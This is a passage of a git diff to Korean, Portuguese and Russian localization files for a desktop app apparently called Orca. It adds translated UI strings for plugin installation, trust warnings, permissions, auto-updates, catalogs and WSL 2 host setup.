"{{value0}} → {{value1}}. 다음에 시작하는 Claude 터미널은 이 계정을 사용합니다. 실행 중인 Claude 터미널은 해당 계정을 유지합니다.", "profileSwitching": "전환은 모든 탭에서 다음에 시작하는 Claude에 적용됩니다. 실행 중인 세션은 해당 계정을 유지합니다.", "systemDefault": "시스템 기본값", "unnamedAccount": "Claude 계정", @@ -20921,8 +21004,8 @@ "restartOne": "세션 다시 시작", "keep": "그대로 유지", "listLabel": "다시 시작할 Claude 세션", - "settingTitle": "Claude가 실행되는 동안 계정을 전환하는 경우", - "settingDescription": "다시 시작하면 새 계정에서 실행 중인 각 대화가 계속됩니다.", + "settingTitle": "터미널에서 Claude가 실행되는 동안 계정을 전환하는 경우", + "settingDescription": "다시 시작하면 각 터미널 대화가 새 계정에서 계속됩니다.", "settingRestart": "항상 다시 시작", "settingKeep": "다시 시작하지 않음", "restartingOther": "{{account}} 계정에서 Claude 세션 {{count}}개를 다시 시작하는 중", diff --git a/src/renderer/src/i18n/locales/pt.json b/src/renderer/src/i18n/locales/pt.json index 51217b9e484..59090ce67ec 100644 --- a/src/renderer/src/i18n/locales/pt.json +++ b/src/renderer/src/i18n/locales/pt.json @@ -589,6 +589,11 @@ }, "cardProperties": { "agentModel": "Modelo do agente" + }, + "wslHostOffer": { + "title": "Executar {{distro}} como host (recomendado)", + "why": "Git, arquivos e terminais passam a rodar nativamente no Linux em vez de pelo compartilhamento de arquivos do Windows.", + "accept": "Executar como host" } }, "tray": { @@ -2090,6 +2095,13 @@ "pluginNewFile": { "unavailable": "{{value0}} não está mais disponível. Ative o plugin dele novamente.", "failed": "Não foi possível criar o arquivo." + }, + "pluginAutoUpdates": { + "one": "{{value0}} atualizado para {{value1}}", + "many": "{{value0}} plugins atualizados" + }, + "pluginInstallLink": { + "invalid": "Esse link de plugin não é válido." } }, "hooks": { @@ -6457,7 +6469,8 @@ "storage": "Guardar os próprios dados", "secrets": "Guardar os próprios segredos criptografados", "settingsOwn": "Ler e alterar as próprias configurações", - "terminalRun": "Executar comandos nos seus terminais, incluindo SSH" + "terminalRun": "Executar comandos nos seus terminais, incluindo SSH", + "agentsRead": "Receber avisos quando o status de um agente mudar" }, "decisionFailed": "Não foi possível salvar a decisão de permissão. Tente novamente.", "fullAccessWarning": "Acesso total: é executado como um programa normal e pode ler seus arquivos, usar a rede e executar outros programas.", @@ -6588,7 +6601,8 @@ "viewLogs": "Ver logs", "disableLabel": "Desativar {{value0}}", "enableLabel": "Ativar {{value0}}", - "invalidPluginError": "O manifesto do plugin ou os arquivos instalados são inválidos. Corrija o plugin e atualize." + "invalidPluginError": "O manifesto do plugin ou os arquivos instalados são inválidos. Corrija o plugin e atualize.", + "syntaxFailed": "O realce parou: esta gramática falhou." }, "WslCliRegistration": { "c6f6f89d7c": "Cancelar", @@ -7300,7 +7314,9 @@ "fbb428db98": "Selecionado:", "search_terminal_themes": "Pesquisar temas de terminal", "cb330ef7f8": " de {{value0}}", - "c822571b2e": " correspondendo a \"{{value0}}\"" + "c822571b2e": " correspondendo a \"{{value0}}\"", + "plugin_themes": "Plugins", + "from_plugin": "De {{value0}}" }, "auto": { "rename": { @@ -7562,7 +7578,10 @@ "title": "Plugins", "description": "Temas, idiomas, comandos e mais.", "logsFailed": "Não foi possível carregar os logs do plugin.", - "rollbackFailed": "Não foi possível reverter este plugin. Uma versão imutável anterior pode não estar disponível." + "rollbackFailed": "Não foi possível reverter este plugin. Uma versão imutável anterior pode não estar disponível.", + "alpha": "Alfa", + "fileTypeSuggestionsLabel": "Sugerir plugins para arquivos desconhecidos", + "restartFailed": "Não foi possível reiniciar {{value0}}." }, "OpenInMenuSetting": { "03b00b1f64": "App personalizado", @@ -8280,7 +8299,8 @@ "pathLabel": "Caminho da pasta do plugin de desenvolvimento", "placeholder": "Caminho para uma pasta de plugin", "add": "Adicionar caminho", - "reviewHelp": "Revisado uma vez. Edições de código depois rodam sem perguntar." + "reviewHelp": "Revisado uma vez. Edições de código depois rodam sem perguntar.", + "dialogTitle": "Pastas de desenvolvimento" }, "GeneralPane": { "confirm_running_work_close": "Confirmar antes de fechar chats ou terminais ativos", @@ -9212,7 +9232,11 @@ }, "PluginContributionActionCommand": { "needsWorkspace": "Requer um workspace aberto", - "seeLogs": "Veja os logs abaixo" + "seeLogs": "Veja os logs abaixo", + "run": "Executar", + "runName": "Executar {{value0}}", + "ran": "{{value0}} executado", + "failed": "{{value0}} falhou" }, "PluginContributionActionPanel": { "open": "Abrir painel", @@ -9233,7 +9257,15 @@ "repository": "Repositório", "newerBody": "O catálogo mudou enquanto você estava aqui.", "showNewer": "Ver a nova", - "stoppedDataBody": "Não foi possível carregar os arquivos. Reinicie para tentar de novo." + "stoppedDataBody": "Não foi possível carregar os arquivos. Reinicie para tentar de novo.", + "bundled": "Incluído no Orca", + "localFolder": "Pasta local", + "gitUrl": "URL do Git", + "stoppedTitle": "Parado após um erro", + "invalidTitle": "O Orca não consegue carregar este plugin", + "needsOrcaTitle": "Requer o Orca {{value0}} ou posterior", + "newerTitle": "Versão mais recente disponível", + "alsoListedBy": "Também listado por {{value0}}. As atualizações vêm apenas do catálogo de onde foi instalado; para trocar, remova-o e instale-o novamente." }, "PluginDetailSections": { "typeLanguagePack": "Idioma da interface", @@ -9253,14 +9285,20 @@ "accessFailed": "Não foi possível ler o acesso", "retry": "Tentar de novo", "noAccessReach": "Nada fora dos próprios arquivos", - "customEditor": "Editor" + "customEditor": "Editor", + "panel": "Painel da barra lateral", + "recipe": "Receita de máquina", + "logs": "Logs", + "copyLogs": "Copiar" }, "PluginInstallConsent": { "noOtherAccess": "Nenhum outro acesso", "replacesShortcut": "{{value0}} ({{value1}}) substitui seu atalho de {{value2}}.", "updatesKeepApproval": "Atualizações só perguntam de novo por novo acesso", "fullAccessUpdates": "Atualizações podem mudar o código sem perguntar", - "editsFileTypes": "Abre e edita arquivos {{value0}} no Orca. Pode ler os arquivos que abre." + "editsFileTypes": "Abre e edita arquivos {{value0}} no Orca. Pode ler os arquivos que abre.", + "install": "Instalar e ativar", + "keepOff": "Manter desativado" }, "PluginManagerRows": { "reinstall": "Reinstalar", @@ -9281,13 +9319,24 @@ "rollbackTo": "Reverter para {{value0}}…", "copyContentHash": "Copiar hash do conteúdo", "reviewUpdate": "Revisar atualização", - "dataLoadFailed": "Não foi possível carregar os arquivos" + "dataLoadFailed": "Não foi possível carregar os arquivos", + "copied": "ID do plugin copiado", + "copyFailed": "Não foi possível copiar o ID do plugin.", + "details": "Detalhes", + "unverified": "Não verificado", + "updateAvailable": "atualização {{value0}} disponível", + "updateNeedsReview": "atualização {{value0}} precisa de revisão", + "updatedTo": "atualizado para {{value0}}" }, "PluginPageAction": { - "contentOnly": "Somente conteúdo" + "contentOnly": "Somente conteúdo", + "failedTitle": "Não foi possível instalar {{value0}}" }, "PluginSettingsMenu": { - "autoUpdateHint": "Só pergunta de novo por novo acesso" + "autoUpdateHint": "Só pergunta de novo por novo acesso", + "label": "Configurações de plugins", + "development": "Pastas de desenvolvimento…", + "autoUpdateLabel": "Atualizar plugins automaticamente" }, "PluginUpdateAllDialog": { "allAccess": "Ver todo o acesso", @@ -9303,20 +9352,34 @@ "previewError": "Não foi possível ler esta atualização", "sourceMoved": "Nova fonte: {{value0}} (antes {{value1}})", "update": "Atualizar", - "review": "Revisar" + "review": "Revisar", + "failed": "Não foi possível atualizar {{value0}}. Os outros foram atualizados.", + "cancel": "Cancelar", + "updateOne": "Atualizar 1 plugin", + "updateMany": "Atualizar {{value0}} plugins", + "failedAll": "Não foi possível atualizar {{value0}}. Nada foi atualizado.", + "close": "Fechar", + "retry": "Tentar novamente", + "updated": "Atualizado" }, "PluginThemeUseNow": { "useForLight": "Usar no claro:", "useForDark": "Usar no escuro:", "assignedLight": "{{value0}} definido como tema claro", "assignedDark": "{{value0}} definido como tema escuro", - "saveFailed": "Não foi possível salvar o tema. Tente novamente." + "saveFailed": "Não foi possível salvar o tema. Tente novamente.", + "label": "Usar agora:" }, "AppearanceInterfaceSection": { "lightTheme": "Tema claro", "darkTheme": "Tema escuro", "themeSlot": { "description": "Cores do app para este modo." + }, + "pluginIconTheme": { + "title": "Tema de ícones", + "description": "Ícones de arquivos e pastas de um plugin ativado.", + "builtIn": "Integrado" } }, "PluginInUseAction": { @@ -9335,7 +9398,11 @@ "needsReview": "Precisa de revisão", "restarting": "Reiniciando", "running": "Em execução", - "blocked": "Bloqueado" + "blocked": "Bloqueado", + "stopped": "Parado", + "cantLoad": "Não carrega", + "off": "Desativado", + "on": "Ativado" }, "notification": { "settings": { @@ -9419,7 +9486,10 @@ "updated": "Atualizado", "license": "Licença", "whatsNew": "Novidades", - "installs": "Instalações" + "installs": "Instalações", + "hashCopied": "Hash de conteúdo copiado", + "hashCopyFailed": "Não foi possível copiar o hash.", + "readme": "Ler o README no {{value0}}" }, "PluginFilterPopover": { "kind": "Categoria", @@ -9455,7 +9525,18 @@ "updateAll": "Atualizar tudo…", "notFromCatalog": "fora de catálogo", "allInstalledTitle": "Todos os plugins do catálogo estão instalados", - "showInstalled": "Mostrar plugins instalados" + "showInstalled": "Mostrar plugins instalados", + "verified": "verificado", + "unverified": "não verificado", + "catalogLoading": "Catálogo", + "catalogFailedTitle": "Não foi possível carregar o catálogo de plugins.", + "catalogFailedBody": "Seus plugins instalados continuam funcionando.", + "sourceFailedTitle": "Não foi possível carregar este catálogo.", + "sourceFailedBody": "Seus plugins instalados continuam funcionando.", + "sources": "Fontes…", + "sourceStaleTitle": "Não foi possível atualizar este catálogo.", + "sourceStaleBody": "Mostrando a cópia de {{value0}}.", + "shownOf": "{{value0}} de {{value1}}" }, "pluginThemeApply": { "nowUsing": "Usando {{value0}}", @@ -9481,6 +9562,61 @@ "manyDescription": "Não serão atualizadas até você revisá-las.", "review": "Revisar", "dismiss": "Dispensar" + }, + "PluginInstallTrustDialog": { + "titleFolder": "Confirme que você confia nesta pasta", + "title": "Confirme que você confia em {{value0}}", + "theme": "Este tema é de {{value0}}, não do Orca. Instale apenas plugins de autores em quem você confia.", + "content": "Este plugin é de {{value0}}, não do Orca. Instale apenas plugins de autores em quem você confia.", + "translations": "Esta tradução é de {{value0}}, não do Orca. Traduções podem alterar qualquer texto do Orca, então instale-as apenas de autores em quem você confia.", + "code": "Este plugin é de {{value0}}, não do Orca. Ele executa o código do publicador dentro do Orca, então instale-o apenas se você confia em {{value0}}.", + "git": "O Orca não verificou este repositório. Um plugin dele pode executar o código do publicador dentro do Orca, então instale-o apenas se você confia em {{value0}}.", + "localFolder": "Esta é uma pasta local não verificada. Um plugin dela pode executar código dentro do Orca, então instale-o apenas se você confia na origem.", + "devFolder": "Esta é uma pasta local não verificada. O Orca carrega o plugin como está, e edições de código posteriores são executadas sem perguntar, então adicione apenas pastas em que você confia.", + "publisher": "Publicador", + "repository": "Repositório", + "folder": "Pasta", + "catalog": "Catálogo", + "cancel": "Cancelar", + "addFolder": "Adicionar pasta", + "install": "Instalar" + }, + "PluginAddMenu": { + "add": "Adicionar plugin", + "folder": "De uma pasta…", + "git": "De uma URL do Git…", + "sources": "Fontes do catálogo…" + }, + "PluginSettingsOverview": { + "offTitle": "Os plugins estão desativados" + }, + "pluginContributions": { + "dark": "Escuro", + "light": "Claro", + "languageIncomplete": "{{value0}}% traduzido, incompleto demais para usar como idioma do Orca", + "languageCoverage": "Idioma da interface · {{value0}}% traduzido", + "newFileMenu": "Adiciona ao menu +" + }, + "PluginPageHero": { + "screenshots": "Capturas de tela", + "openScreenshot": "Abrir captura de tela: {{value0}}", + "position": "{{value0}} de {{value1}}", + "previous": "Captura anterior", + "next": "Próxima captura" + }, + "PluginContributionActionEvents": { + "worktreeCreated": "Quando um workspace é criado", + "worktreeRemoved": "Quando um workspace é removido", + "agentStatusChanged": "Quando o status de um agente muda", + "detail": "Código em segundo plano é executado" + }, + "PluginChips": { + "updateNeedsReview": "Atualização precisa de revisão", + "updatedTo": "Atualizado para {{value0}}", + "devUnverified": "Dev · não verificado" + }, + "PluginContributionActionNewFile": { + "create": "Criar" } }, "right": { @@ -10588,7 +10724,8 @@ "79aa06bb2c": "Não foi possível atualizar. A API do GitHub está temporariamente indisponível. Mostrando o último status conhecido.", "6ec12cee0c": "Não foi possível atualizar. O GitHub está inacessível agora. Mostrando o último status conhecido.", "de088015e8": "Não foi possível atualizar. O GitHub está limitando as requisições. Mostrando o último status conhecido.", - "d9dd7c6687": "Não foi possível atualizar a partir do GitHub. Mostrando o último status conhecido." + "d9dd7c6687": "Não foi possível atualizar a partir do GitHub. Mostrando o último status conhecido.", + "manual_provider": "Não foi possível atualizar a partir do {{provider}}. Tente novamente." } } }, @@ -12460,13 +12597,15 @@ "distro": "Distribuição", "loading": "Procurando distribuições WSL…", "placeholder": "Escolha uma distribuição", - "none": "Nenhuma distribuição WSL encontrada. Instale uma com: wsl --install", "stoppedHint": "{{value0}} está parada. Adicioná-la irá iniciá-la.", "addingHint": "Instalando e iniciando o servidor Orca na distribuição. Na primeira vez, pode levar um minuto.", "adding": "Configurando…", "startAndAdd": "Iniciar e adicionar", "add": "Adicionar host", - "refresh": "Atualizar" + "refresh": "Atualizar", + "wsl1Reason": "O WSL 1 não pode executar um host do Orca; converta com {{command}}", + "noWsl2Title": "Nenhuma distribuição WSL 2 encontrada", + "noWsl2Install": "Instale uma em um terminal do Windows com {{command}} e depois escolha Atualizar." }, "wslHostRowStatus": { "connecting": "Iniciando", @@ -13431,6 +13570,28 @@ }, "richMarkdownBlobImagePaste": { "saveFailed": "Não foi possível salvar a imagem colada ao lado do documento. Ela pode não carregar após reiniciar o Orca." + }, + "PluginFileTypeSuggestion": { + "message": "Um plugin pode abrir arquivos .{{value0}}: {{value1}}", + "view": "Ver plugin", + "notNow": "Agora não", + "never": "Não sugerir para .{{value0}}", + "editorMessage": "Um plugin adiciona um editor para arquivos .{{value0}}: {{value1}}" + }, + "PluginCustomEditorFrame": { + "loading": "Carregando editor…", + "unresponsive": "{{value0}} parou de responder. Mude para Código-fonte para continuar editando.", + "loadFailed": "Não foi possível carregar {{value0}}. Mude para Código-fonte para editar este arquivo.", + "editTooLarge": "Este arquivo é grande demais para {{value0}} salvar alterações. Use Código-fonte.", + "saveBlocked": "Não foi possível salvar as alterações mais recentes de {{value0}}.", + "editsHeld": "{{value0}} está enviando alterações rápido demais; o Orca aplicará a mais recente em breve.", + "largeFile": "Arquivo grande — pode levar um momento." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Tentar novamente", + "tooLarge": "{{value0}} é grande demais para abrir no {{value1}} ({{value2}}; o limite é {{value3}}).", + "unsupported": "{{value0}} não consegue ler este arquivo de onde ele está armazenado. Atualize o servidor do Orca que o hospeda ou mude para Código-fonte.", + "readFailed": "Não foi possível ler {{value0}} para {{value1}}. {{value2}}" } }, "skills": { @@ -18128,7 +18289,8 @@ }, "pluginQuickActions": { "description": "Comando de plugin {{value0}}", - "keyword": "comando de plugin" + "keyword": "comando de plugin", + "newFileDescription": "Cria um arquivo {{value0}} sem título no workspace ativo." } } }, @@ -19304,6 +19466,10 @@ }, "PluginListRow": { "official": "Oficial" + }, + "PluginListGroup": { + "showAll": "Mostrar mais {{value0}}", + "showAllTotal": "Mostrar todos os {{value0}} plugins" } }, "native": { @@ -19736,6 +19902,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} instalações" + }, + "PluginCatalogLinkDialog": { + "failed": "Não foi possível adicionar este catálogo.", + "title": "Adicionar o catálogo {{value0}}?", + "cancel": "Cancelar", + "add": "Adicionar catálogo", + "body": "Um link pediu para mostrar {{value0}} deste catálogo. Adicione catálogos apenas de pessoas em quem você confia." } } }, @@ -20580,7 +20753,6 @@ "editMessage": "Editar mensagem", "showFullMessage": "Mostrar mensagem completa", "showLess": "Mostrar menos", - "turnOffQueueing": "Desativar fila", "listLabel": "Mensagens na fila", "alreadySent": "Esta mensagem já foi enviada.", "withdrawnHold": "Interrompida antes do envio", @@ -21176,12 +21348,11 @@ } }, "nativeChat": { - "queueFollowUpsTitle": "Colocar mensagens de acompanhamento na fila", + "followUpBehaviorTitle": "Colocar mensagens de acompanhamento na fila", "inlineVisualsTitle": "Visualizações nas respostas", "inlineVisualsCopy": "Permitir que o agente mostre gráficos, diagramas e mockups nas respostas. Aplica-se a novos chats.", "inlineVisualsToggleLabel": "Ativar ou desativar visualizações nas respostas", - "queueFollowUpsCopy": "As mensagens enviadas enquanto o agente trabalha aguardam como cartões que você pode usar para orientá-lo, editar ou excluir. Mensagens com imagens são enviadas imediatamente.", - "queueFollowUpsToggleLabel": "Ativar ou desativar fila de mensagens de acompanhamento", + "followUpBehaviorCopy": "Mensagens enviadas enquanto o agente trabalha aguardam como cartões até o turno terminar, em vez de entrar no turno em andamento. Cmd/Ctrl+Enter faz o contrário para uma mensagem.", "behaviorTitle": "Comportamento", "resumeSearchUpdate": "atualizar", "resumeSearchRelaunch": "reiniciar", diff --git a/src/renderer/src/i18n/locales/ru.json b/src/renderer/src/i18n/locales/ru.json index ec1f5a1cb09..91a7e442795 100644 --- a/src/renderer/src/i18n/locales/ru.json +++ b/src/renderer/src/i18n/locales/ru.json @@ -258,6 +258,11 @@ }, "cardProperties": { "agentModel": "Модель агента" + }, + "wslHostOffer": { + "title": "Запустить {{distro}} как хост (рекомендуется)", + "why": "Git, файлы и терминалы будут работать нативно в Linux, а не через общий ресурс Windows.", + "accept": "Запустить как хост" } }, "app": { @@ -1385,6 +1390,13 @@ "pluginNewFile": { "unavailable": "{{value0}} больше недоступен. Снова включите его плагин.", "failed": "Не удалось создать файл." + }, + "pluginAutoUpdates": { + "one": "{{value0}} обновлён до {{value1}}", + "many": "Обновлено плагинов: {{value0}}" + }, + "pluginInstallLink": { + "invalid": "Эта ссылка на плагин недействительна." } }, "lib": { @@ -7463,13 +7475,15 @@ "distro": "Дистрибутив", "loading": "Поиск дистрибутивов WSL…", "placeholder": "Выберите дистрибутив", - "none": "Дистрибутивы WSL не найдены. Установите один командой: wsl --install", "stoppedHint": "{{value0}} остановлен. При добавлении он будет запущен.", "addingHint": "Установка и запуск сервера Orca в дистрибутиве. Первый запуск может занять около минуты.", "adding": "Настройка…", "startAndAdd": "Запустить и добавить", "add": "Добавить сервер", - "refresh": "Обновить" + "refresh": "Обновить", + "wsl1Reason": "WSL 1 не может запустить хост Orca; преобразуйте командой {{command}}", + "noWsl2Title": "Дистрибутивы WSL 2 не найдены", + "noWsl2Install": "Установите дистрибутив в терминале Windows командой {{command}}, затем нажмите «Обновить»." }, "wslHostRowStatus": { "connecting": "Запуск", @@ -9265,7 +9279,9 @@ "fbb428db98": "Выбрано:", "search_terminal_themes": "Поиск тем терминала", "cb330ef7f8": " из {{value0}}", - "c822571b2e": " по запросу «{{value0}}»" + "c822571b2e": " по запросу «{{value0}}»", + "plugin_themes": "Плагины", + "from_plugin": "Из {{value0}}" }, "SettingsSidebar": { "e0900f83e7": "SSH", @@ -12226,7 +12242,9 @@ "notificationsShow": "Показывать системные уведомления с именем плагина", "storage": "Хранить данные в собственной папке плагина", "secrets": "Хранить и читать секреты в собственном зашифрованном хранилище плагина", - "settingsOwn": "Читать и менять собственные настройки плагина" + "settingsOwn": "Читать и менять собственные настройки плагина", + "agentsRead": "Получать уведомления об изменении статуса агентов", + "terminalRun": "Выполнять команды в ваших терминалах, включая SSH" }, "decisionFailed": "Не удалось сохранить решение о разрешениях. Повторите попытку.", "fullAccessWarning": "Полный доступ: работает как обычная программа и может читать ваши файлы, использовать сеть и запускать другие программы.", @@ -12250,7 +12268,9 @@ "remove": "Удалить", "pathLabel": "Путь папки плагина разработки", "placeholder": "/Users/you/plugins/my-plugin или C:\\Users\\you\\plugins\\my-plugin", - "add": "Добавить путь" + "add": "Добавить путь", + "dialogTitle": "Папки разработки", + "reviewHelp": "Проверяется один раз. Последующие правки кода запускаются без запроса." }, "PluginInstallDialog": { "localRequired": "Введите путь папки плагина.", @@ -12333,11 +12353,16 @@ }, "PluginRemoveDialog": { "cancel": "Отмена", - "remove": "Удалить плагин" + "remove": "Удалить плагин", + "title": "Удалить {{value0}}?", + "description": "Его данные тоже будут удалены." }, "PluginRollbackDialog": { "cancel": "Отмена", - "confirm": "Откатить плагин" + "confirm": "Откатить плагин", + "title": "Откатить {{value0}}?", + "description": "Восстанавливает предыдущую версию.", + "descriptionVersion": "Восстанавливает версию {{value0}}." }, "PluginsSettingsSection": { "systemLabel": "Система плагинов", @@ -12352,7 +12377,10 @@ "title": "Плагины", "description": "Устанавливайте плагины Orca и управляйте ими. Плагины работают на этом компьютере даже для рабочих пространств SSH.", "logsFailed": "Не удалось загрузить журналы плагина.", - "rollbackFailed": "Не удалось откатить плагин. Возможно, предыдущая неизменяемая версия недоступна." + "rollbackFailed": "Не удалось откатить плагин. Возможно, предыдущая неизменяемая версия недоступна.", + "alpha": "Альфа", + "fileTypeSuggestionsLabel": "Предлагать плагины для неизвестных файлов", + "restartFailed": "Не удалось перезапустить {{value0}}." }, "PluginSettingsRow": { "loadingLogs": "Загрузка журналов…", @@ -12364,7 +12392,8 @@ "viewLogs": "Показать журналы", "disableLabel": "Выключить {{value0}}", "enableLabel": "Включить {{value0}}", - "invalidPluginError": "Манифест или установленные файлы плагина некорректны. Исправьте плагин и обновите список." + "invalidPluginError": "Манифест или установленные файлы плагина некорректны. Исправьте плагин и обновите список.", + "syntaxFailed": "Подсветка остановлена: эта грамматика дала сбой." }, "PluginVmRecipeConsentPreview": { "create": "Создать", @@ -12395,7 +12424,8 @@ "install": "установить плагин", "permissions": "разрешения плагина", "logs": "журналы плагина", - "development": "плагины разработки" + "development": "плагины разработки", + "aliases": "plugins mods extensions плагины моды расширения" } }, "LinearAgentSkillGuide": { @@ -13341,7 +13371,28 @@ } }, "PluginUpdateAllDialog": { - "review": "Проверить" + "review": "Проверить", + "previewError": "Не удалось прочитать это обновление", + "newAccess": "Новое: {{value0}}", + "failed": "Не удалось обновить {{value0}}. Остальные обновлены.", + "cancel": "Отмена", + "updateOne": "Обновить 1 плагин", + "updateMany": "Обновить плагины: {{value0}}", + "failedAll": "Не удалось обновить {{value0}}. Ничего не обновлено.", + "close": "Закрыть", + "retry": "Повторить", + "updated": "Обновлено", + "needsOrca": "Требуется Orca {{value0}} или новее", + "current": "Уже установлено", + "sourceMoved": "Новый источник: {{value0}} (было {{value1}})", + "newShortcuts": "Сочетания клавиш", + "newCommands": "Команды", + "newPanels": "Панели", + "newEvents": "Больше событий", + "newRecipes": "Рецепты машин", + "newContributions": "Функции, действующие от вашего имени", + "allAccess": "Показать весь доступ", + "update": "Обновить" }, "PluginUpdateReview": { "title": "Проверка обновления {{value0}}", @@ -13375,7 +13426,8 @@ }, "PluginContributionActionPanel": { "open": "Открыть панель", - "openName": "Открыть панель: {{value0}}" + "openName": "Открыть панель: {{value0}}", + "needsWorkspace": "Нужно открытое рабочее пространство" }, "PluginContributionActionSyntax": { "openExtension": "Открыть любой файл {{value0}}", @@ -13386,7 +13438,10 @@ "updated": "Обновлено", "license": "Лицензия", "whatsNew": "Что нового", - "installs": "Установки" + "installs": "Установки", + "hashCopied": "Хеш содержимого скопирован", + "hashCopyFailed": "Не удалось скопировать хеш.", + "readme": "Читать README на {{value0}}" }, "PluginDetailPage": { "back": "Плагины", @@ -13397,7 +13452,20 @@ "requiresValue": "Orca {{value0}} или новее", "categories": "Категории", "pluginId": "ID плагина", - "repository": "Репозиторий" + "repository": "Репозиторий", + "bundled": "Входит в состав Orca", + "localFolder": "Локальная папка", + "gitUrl": "URL Git", + "stoppedTitle": "Остановлен после ошибки", + "stoppedBody": "Он постоянно падал. Перезапустите, чтобы попробовать снова.", + "invalidTitle": "Orca не может загрузить этот плагин", + "needsOrcaTitle": "Требуется Orca {{value0}} или новее", + "needsOrcaBody": "У вас Orca {{value0}}.", + "newerTitle": "Доступна более новая версия", + "newerBody": "Каталог изменился, пока вы были на этой странице.", + "showNewer": "Показать новую", + "stoppedDataBody": "Не удалось загрузить его файлы. Перезапустите, чтобы попробовать снова.", + "alsoListedBy": "Также есть в {{value0}}. Обновления приходят только из каталога, из которого он установлен; чтобы сменить каталог, удалите плагин и установите заново." }, "PluginDetailSections": { "typeLanguagePack": "Язык интерфейса", @@ -13416,7 +13484,12 @@ "accessLoading": "Чтение плагина…", "accessFailed": "Не удалось прочитать доступ", "retry": "Повторить", - "customEditor": "Редактор" + "customEditor": "Редактор", + "panel": "Панель боковой панели", + "recipe": "Рецепт машины", + "logs": "Журналы", + "copyLogs": "Копировать", + "noAccessReach": "Ничего за пределами собственных файлов" }, "PluginFilterPopover": { "kind": "Категория", @@ -13445,7 +13518,9 @@ "replacesShortcut": "{{value0}} ({{value1}}) заменяет ваше сочетание клавиш для «{{value2}}».", "updatesKeepApproval": "Обновления спрашивают снова только о новом доступе", "fullAccessUpdates": "Обновления могут менять его код без запроса", - "editsFileTypes": "Открывает и редактирует файлы {{value0}} в Orca. Может читать открытые им файлы." + "editsFileTypes": "Открывает и редактирует файлы {{value0}} в Orca. Может читать открытые им файлы.", + "install": "Установить и включить", + "keepOff": "Оставить выключенным" }, "PluginListEmptyStates": { "noFilterMatches": "Нет плагинов, подходящих под эти фильтры", @@ -13466,7 +13541,18 @@ "updateAll": "Обновить все…", "notFromCatalog": "не из каталога", "allInstalledTitle": "Все плагины из каталога установлены", - "showInstalled": "Показать установленные плагины" + "showInstalled": "Показать установленные плагины", + "verified": "проверен", + "unverified": "не проверен", + "catalogLoading": "Каталог", + "catalogFailedTitle": "Не удалось загрузить каталог плагинов.", + "catalogFailedBody": "Установленные плагины продолжают работать.", + "sourceFailedTitle": "Не удалось загрузить этот каталог.", + "sourceFailedBody": "Установленные плагины продолжают работать.", + "sources": "Источники…", + "sourceStaleTitle": "Не удалось обновить этот каталог.", + "sourceStaleBody": "Показана копия от {{value0}}.", + "shownOf": "{{value0}} из {{value1}}" }, "PluginManagerRows": { "reinstall": "Переустановить", @@ -13487,7 +13573,14 @@ "rollbackTo": "Откатить до {{value0}}…", "copyContentHash": "Копировать хеш содержимого", "reviewUpdate": "Проверить обновление", - "dataLoadFailed": "Не удалось загрузить его файлы" + "dataLoadFailed": "Не удалось загрузить его файлы", + "copied": "ID плагина скопирован", + "copyFailed": "Не удалось скопировать ID плагина.", + "details": "Подробности", + "unverified": "Не проверен", + "updateAvailable": "доступно обновление {{value0}}", + "updateNeedsReview": "обновление {{value0}} требует проверки", + "updatedTo": "обновлён до {{value0}}" }, "pluginInstallAction": { "installed": "{{value0}} установлен", @@ -13525,7 +13618,105 @@ "PluginThemeUseNow": { "assignedLight": "{{value0}} установлена как светлая тема", "assignedDark": "{{value0}} установлена как тёмная тема", - "saveFailed": "Не удалось сохранить тему. Повторите попытку." + "saveFailed": "Не удалось сохранить тему. Повторите попытку.", + "label": "Использовать сейчас:", + "useForLight": "Для светлой темы:", + "useForDark": "Для тёмной темы:" + }, + "PluginInstallTrustDialog": { + "titleFolder": "Убедитесь, что доверяете этой папке", + "title": "Убедитесь, что доверяете {{value0}}", + "theme": "Эта тема от {{value0}}, а не от Orca. Устанавливайте плагины только от авторов, которым доверяете.", + "content": "Этот плагин от {{value0}}, а не от Orca. Устанавливайте плагины только от авторов, которым доверяете.", + "translations": "Этот перевод от {{value0}}, а не от Orca. Переводы могут изменить любой текст в Orca, поэтому устанавливайте их только от авторов, которым доверяете.", + "code": "Этот плагин от {{value0}}, а не от Orca. Он запускает код издателя внутри Orca, поэтому устанавливайте его, только если доверяете {{value0}}.", + "git": "Orca не проверял этот репозиторий. Плагин из него может запускать код издателя внутри Orca, поэтому устанавливайте его, только если доверяете {{value0}}.", + "localFolder": "Это непроверенная локальная папка. Плагин из неё может запускать код внутри Orca, поэтому устанавливайте его, только если доверяете его источнику.", + "devFolder": "Это непроверенная локальная папка. Orca загружает её плагин как есть, а последующие изменения кода запускаются без подтверждения, поэтому добавляйте только папки, которым доверяете.", + "publisher": "Издатель", + "repository": "Репозиторий", + "folder": "Папка", + "catalog": "Каталог", + "cancel": "Отмена", + "addFolder": "Добавить папку", + "install": "Установить" + }, + "AppearanceInterfaceSection": { + "pluginIconTheme": { + "title": "Тема значков", + "description": "Значки файлов и папок из включённого плагина.", + "builtIn": "Встроенная" + } + }, + "PluginAddMenu": { + "add": "Добавить плагин", + "folder": "Из папки…", + "git": "По URL Git…", + "sources": "Источники каталогов…" + }, + "PluginSettingsOverview": { + "offTitle": "Плагины отключены" + }, + "pluginContributions": { + "dark": "Тёмная", + "light": "Светлая", + "languageIncomplete": "Переведено {{value0}}% — слишком мало, чтобы использовать как язык Orca", + "languageCoverage": "Язык интерфейса · переведено {{value0}}%", + "newFileMenu": "Добавляет пункты в меню +" + }, + "PluginPageAction": { + "failedTitle": "Не удалось установить {{value0}}", + "contentOnly": "Только содержимое" + }, + "PluginSettingsMenu": { + "label": "Настройки плагинов", + "development": "Папки разработки…", + "autoUpdateLabel": "Обновлять плагины автоматически", + "autoUpdateHint": "Повторно спрашивает только о новом доступе" + }, + "PluginPageHero": { + "screenshots": "Снимки экрана", + "openScreenshot": "Открыть снимок экрана: {{value0}}", + "position": "{{value0}} из {{value1}}", + "previous": "Предыдущий снимок экрана", + "next": "Следующий снимок экрана" + }, + "PluginContributionActionCommand": { + "run": "Запустить", + "runName": "Запустить {{value0}}", + "ran": "{{value0}} выполнено", + "failed": "{{value0}}: ошибка", + "seeLogs": "См. журналы ниже", + "needsWorkspace": "Нужно открытое рабочее пространство" + }, + "PluginContributionActionEvents": { + "worktreeCreated": "При создании рабочего пространства", + "worktreeRemoved": "При удалении рабочего пространства", + "agentStatusChanged": "При изменении статуса агента", + "detail": "Запускается фоновый код" + }, + "PluginChips": { + "updateNeedsReview": "Обновление требует проверки", + "updatedTo": 